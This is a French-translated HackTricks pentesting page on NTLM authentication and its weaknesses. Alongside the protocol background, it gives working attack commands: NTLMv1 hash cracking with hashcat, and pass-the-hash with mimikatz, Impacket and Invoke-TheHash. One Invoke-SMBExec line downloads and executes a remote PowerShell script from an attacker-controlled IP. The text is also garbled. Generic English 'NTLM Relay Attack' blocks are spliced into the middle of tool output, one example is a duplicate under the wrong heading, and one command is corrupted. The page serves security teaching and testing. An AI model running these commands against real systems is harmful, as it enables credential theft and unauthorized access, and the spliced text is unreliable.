hacktricks/windows-hardening/ntlm
2024-02-09 02:16:20 +00:00
..
atexec.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:16:20 +00:00
places-to-steal-ntlm-creds.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:16:20 +00:00
psexec-and-winexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:31:34 +00:00
README.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:31:34 +00:00
smbexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:31:34 +00:00
winrm.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:31:34 +00:00
wmicexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:31:34 +00:00

NTLM

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Informations de base

Dans les environnements où Windows XP et Server 2003 sont en fonction, les hachages LM (Lan Manager) sont utilisés, bien qu'il soit largement reconnu qu'ils peuvent être facilement compromis. Un hachage LM particulier, AAD3B435B51404EEAAD3B435B51404EE, indique un scénario où LM n'est pas utilisé, représentant le hachage pour une chaîne vide.

Par défaut, le protocole d'authentification Kerberos est la méthode principale utilisée. NTLM (NT LAN Manager) intervient dans des circonstances spécifiques : absence d'Active Directory, inexistence du domaine, dysfonctionnement de Kerberos en raison d'une configuration incorrecte, ou lorsque des connexions sont tentées en utilisant une adresse IP plutôt qu'un nom d'hôte valide.

La présence de l'en-tête "NTLMSSP" dans les paquets réseau signale un processus d'authentification NTLM.

Le support des protocoles d'authentification - LM, NTLMv1 et NTLMv2 - est facilité par une DLL spécifique située à %windir%\Windows\System32\msv1\_0.dll.

Points clés:

  • Les hachages LM sont vulnérables et un hachage LM vide (AAD3B435B51404EEAAD3B435B51404EE) signifie qu'il n'est pas utilisé.
  • Kerberos est la méthode d'authentification par défaut, avec NTLM utilisé uniquement dans certaines conditions.
  • Les paquets d'authentification NTLM sont identifiables par l'en-tête "NTLMSSP".
  • Les protocoles LM, NTLMv1 et NTLMv2 sont pris en charge par le fichier système msv1\_0.dll.

LM, NTLMv1 et NTLMv2

Vous pouvez vérifier et configurer quel protocole sera utilisé :

GUI

Exécutez secpol.msc -> Stratégies locales -> Options de sécurité -> Authentification LAN Manager : Niveau d'authentification. Il y a 6 niveaux (de 0 à 5).

Registre

Cela définira le niveau 5:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

Valeurs possibles :

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

Schéma d'authentification de base NTLM du domaine

  1. L'utilisateur introduit ses informations d'identification
  2. La machine cliente envoie une demande d'authentification en envoyant le nom de domaine et le nom d'utilisateur
  3. Le serveur envoie le défi
  4. Le client chiffre le défi en utilisant le hachage du mot de passe comme clé et l'envoie en réponse
  5. Le serveur envoie au contrôleur de domaine le nom de domaine, le nom d'utilisateur, le défi et la réponse. Si aucun annuaire Active Directory n'est configuré ou si le nom de domaine est le nom du serveur, les informations d'identification sont vérifiées localement.
  6. Le contrôleur de domaine vérifie si tout est correct et envoie les informations au serveur

Le serveur et le contrôleur de domaine peuvent créer un canal sécurisé via le serveur Netlogon car le contrôleur de domaine connaît le mot de passe du serveur (il est à l'intérieur de la base de données NTDS.DIT).

Schéma d'authentification NTLM local

L'authentification est similaire à celle mentionnée précédemment mais le serveur connaît le hachage de l'utilisateur qui tente de s'authentifier dans le fichier SAM. Ainsi, au lieu de demander au contrôleur de domaine, le serveur vérifiera lui-même si l'utilisateur peut s'authentifier.

Défi NTLMv1

La longueur du défi est de 8 octets et la réponse fait 24 octets de long.

Le hachage NT (16 octets) est divisé en 3 parties de 7 octets chacune (7B + 7B + (2B+0x00*5)): la dernière partie est remplie de zéros. Ensuite, le défi est chiffré séparément avec chaque partie et les octets chiffrés résultants sont assemblés. Total : 8B + 8B + 8B = 24 octets.

Problèmes :

  • Manque de randomisation
  • Les 3 parties peuvent être attaquées séparément pour trouver le hachage NT
  • DES est crackable
  • La 3ème clé est toujours composée de 5 zéros.
  • Avec le même défi, la réponse sera la même. Ainsi, vous pouvez donner comme défi à la victime la chaîne "1122334455667788" et attaquer la réponse en utilisant des tables arc-en-ciel précalculées.

Attaque NTLMv1

De nos jours, il est de moins en moins courant de trouver des environnements avec une délégation non contrainte configurée, mais cela ne signifie pas que vous ne pouvez pas abuser d'un service de spouleur d'impression configuré.

Vous pourriez abuser de certaines informations d'identification/sessions que vous avez déjà dans l'AD pour demander à l'imprimante de s'authentifier contre un hôte sous votre contrôle. Ensuite, en utilisant metasploit auxiliary/server/capture/smb ou responder, vous pouvez définir le défi d'authentification sur 1122334455667788, capturer la tentative d'authentification, et si elle a été effectuée en utilisant NTLMv1, vous pourrez la craquer.
Si vous utilisez responder, vous pourriez essayer d'utiliser le drapeau --lm pour tenter de régresser l'authentification.
Notez que pour cette technique, l'authentification doit être effectuée en utilisant NTLMv1 (NTLMv2 n'est pas valide).

Rappelez-vous que l'imprimante utilisera le compte d'ordinateur lors de l'authentification, et les comptes d'ordinateur utilisent des mots de passe longs et aléatoires que vous ne pourrez probablement pas craquer en utilisant des dictionnaires courants. Mais l'authentification NTLMv1 utilise DES (plus d'informations ici), donc en utilisant certains services spécialement dédiés au craquage de DES, vous pourrez la craquer (vous pourriez utiliser https://crack.sh/ par exemple).

Attaque NTLMv1 avec hashcat

NTLMv1 peut également être cassé avec l'outil NTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi qui formate les messages NTLMv1 d'une manière qui peut être cassée avec hashcat.

La commande

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relay Attack

Introduction

In an NTLM relay attack, an attacker intercepts an authentication attempt from a victim to a server and relays it to another server to gain unauthorized access. This attack takes advantage of the NTLM authentication protocol's design weaknesses.

How it Works

  1. The attacker intercepts an NTLM authentication request from the victim to a server.
  2. The attacker relays the request to another server, pretending to be the victim.
  3. The second server accepts the request, thinking it is coming from the victim.
  4. The attacker gains unauthorized access to the second server using the victim's credentials.

Mitigation

To prevent NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB Signing: Require SMB signing to prevent tampering with authentication requests.
  • Enable Extended Protection for Authentication: Helps protect against NTLM relay attacks.
  • Use LDAP Signing and Channel Binding: Adds an extra layer of security to LDAP communications.
  • Disable NTLM: Consider disabling NTLM authentication in favor of more secure protocols like Kerberos.

By implementing these measures, you can significantly reduce the risk of NTLM relay attacks on your network.

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Relay Attack

Description

An NTLM relay attack is a type of attack where an attacker captures the NTLM authentication request from a victim and relays it to another server to authenticate as the victim. This attack can be used to gain unauthorized access to systems and resources.

How it works

  1. The attacker captures the NTLM authentication request from the victim.
  2. The attacker relays the captured request to another server.
  3. The server processes the request, thinking it is coming from the victim.
  4. The attacker gains unauthorized access to the server as the victim.

Mitigation

To mitigate NTLM relay attacks, it is recommended to:

  • Implement SMB signing to prevent relay attacks.
  • Use LDAP signing and channel binding.
  • Disable NTLM authentication if possible.
  • Implement strong network segmentation to limit the attacker's ability to relay requests.

By following these mitigation techniques, organizations can reduce the risk of falling victim to NTLM relay attacks.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

Exécutez hashcat (la distribution est meilleure via un outil tel que hashtopolis) car cela prendra sinon plusieurs jours.

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Dans ce cas, nous savons que le mot de passe est "password", donc nous allons tricher à des fins de démonstration :

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

Nous devons maintenant utiliser les utilitaires hashcat pour convertir les clés DES craquées en parties du hash NTLM :

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

Enfin la dernière partie :

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM Relay Attack

Overview

NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. This attack involves intercepting NTLM authentication traffic and relaying it to a target server to gain unauthorized access.

How it works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.
  2. The attacker relays this traffic to another server, tricking it into believing the attacker is the legitimate user.
  3. The attacker gains unauthorized access to the target server using the intercepted credentials.

Mitigation

To mitigate NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB signing: Require SMB signing to prevent tampering with authentication traffic.
  • Enable Extended Protection for Authentication: Helps protect against NTLM relay attacks by requiring stronger authentication.
  • Disable NTLM: Consider disabling NTLM authentication in favor of more secure protocols like Kerberos.

By implementing these measures, you can significantly reduce the risk of falling victim to NTLM relay attacks.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

Défi NTLMv2

La longueur du défi est de 8 octets et 2 réponses sont envoyées : l'une fait 24 octets de long et la longueur de l'autre est variable.

La première réponse est créée en chiffrant en utilisant HMAC_MD5 la chaîne composée par le client et le domaine et en utilisant comme clé le hash MD4 du hash NT. Ensuite, le résultat sera utilisé comme clé pour chiffrer en utilisant HMAC_MD5 le défi. Pour cela, un défi client de 8 octets sera ajouté. Total : 24 B.

La deuxième réponse est créée en utilisant plusieurs valeurs (un nouveau défi client, un horodatage pour éviter les attaques de rejeu...)

Si vous avez un pcap qui a capturé un processus d'authentification réussi, vous pouvez suivre ce guide pour obtenir le domaine, le nom d'utilisateur, le défi et la réponse et essayer de craquer le mot de passe : https://research.801labs.org/cracking-an-ntlmv2-hash/

Pass-the-Hash

Une fois que vous avez le hash de la victime, vous pouvez l'utiliser pour l'impersonner.
Vous devez utiliser un outil qui va effectuer l'authentification NTLM en utilisant ce hash, ou vous pourriez créer une nouvelle sessionlogon et injecter ce hash à l'intérieur du LSASS, ainsi lorsque toute authentification NTLM est effectuée, ce hash sera utilisé. La dernière option est ce que fait mimikatz.

N'oubliez pas que vous pouvez également effectuer des attaques Pass-the-Hash en utilisant des comptes d'ordinateur.

Mimikatz

Doit être exécuté en tant qu'administrateur

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

Cela lancera un processus qui appartiendra aux utilisateurs ayant lancé mimikatz mais internement dans LSASS, les informations d'identification enregistrées sont celles à l'intérieur des paramètres de mimikatz. Ensuite, vous pouvez accéder aux ressources réseau comme si vous étiez cet utilisateur (similaire à l'astuce runas /netonly mais vous n'avez pas besoin de connaître le mot de passe en texte clair).

Pass-the-Hash depuis linux

Vous pouvez obtenir l'exécution de code sur des machines Windows en utilisant Pass-the-Hash depuis Linux.
Accédez ici pour apprendre comment le faire.

Outils compilés Windows Impacket

Vous pouvez télécharger les binaires Impacket pour Windows ici.

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exe (Dans ce cas, vous devez spécifier une commande, cmd.exe et powershell.exe ne sont pas valides pour obtenir un shell interactif) C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • Il existe plusieurs autres binaires Impacket...

Invoke-TheHash

Vous pouvez obtenir les scripts PowerShell d'ici: https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Appeler-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Appeler-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Appeler-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

Cette fonction est un mélange de toutes les autres. Vous pouvez passer plusieurs hôtes, exclure certains et sélectionner l'option que vous souhaitez utiliser (SMBExec, WMIExec, SMBClient, SMBEnum). Si vous sélectionnez l'une quelconque des options SMBExec et WMIExec mais que vous ne fournissez aucun paramètre Commande, il se contentera de vérifier si vous avez suffisamment de permissions.

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM Pass the Hash

Éditeur de crédentials Windows (WCE)

Doit être exécuté en tant qu'administrateur

Cet outil fera la même chose que mimikatz (modifier la mémoire LSASS).

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

Exécution à distance manuelle sur Windows avec nom d'utilisateur et mot de passe

{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}

Extraction d'informations d'identification à partir d'un hôte Windows

Pour plus d'informations sur comment obtenir des informations d'identification à partir d'un hôte Windows, vous devriez lire cette page.

NTLM Relay et Responder

Consultez un guide détaillé sur la façon d'effectuer ces attaques ici:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

Analyser les défis NTLM à partir d'une capture réseau

Vous pouvez utiliser https://github.com/mlgualtieri/NTLMRawUnHide

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!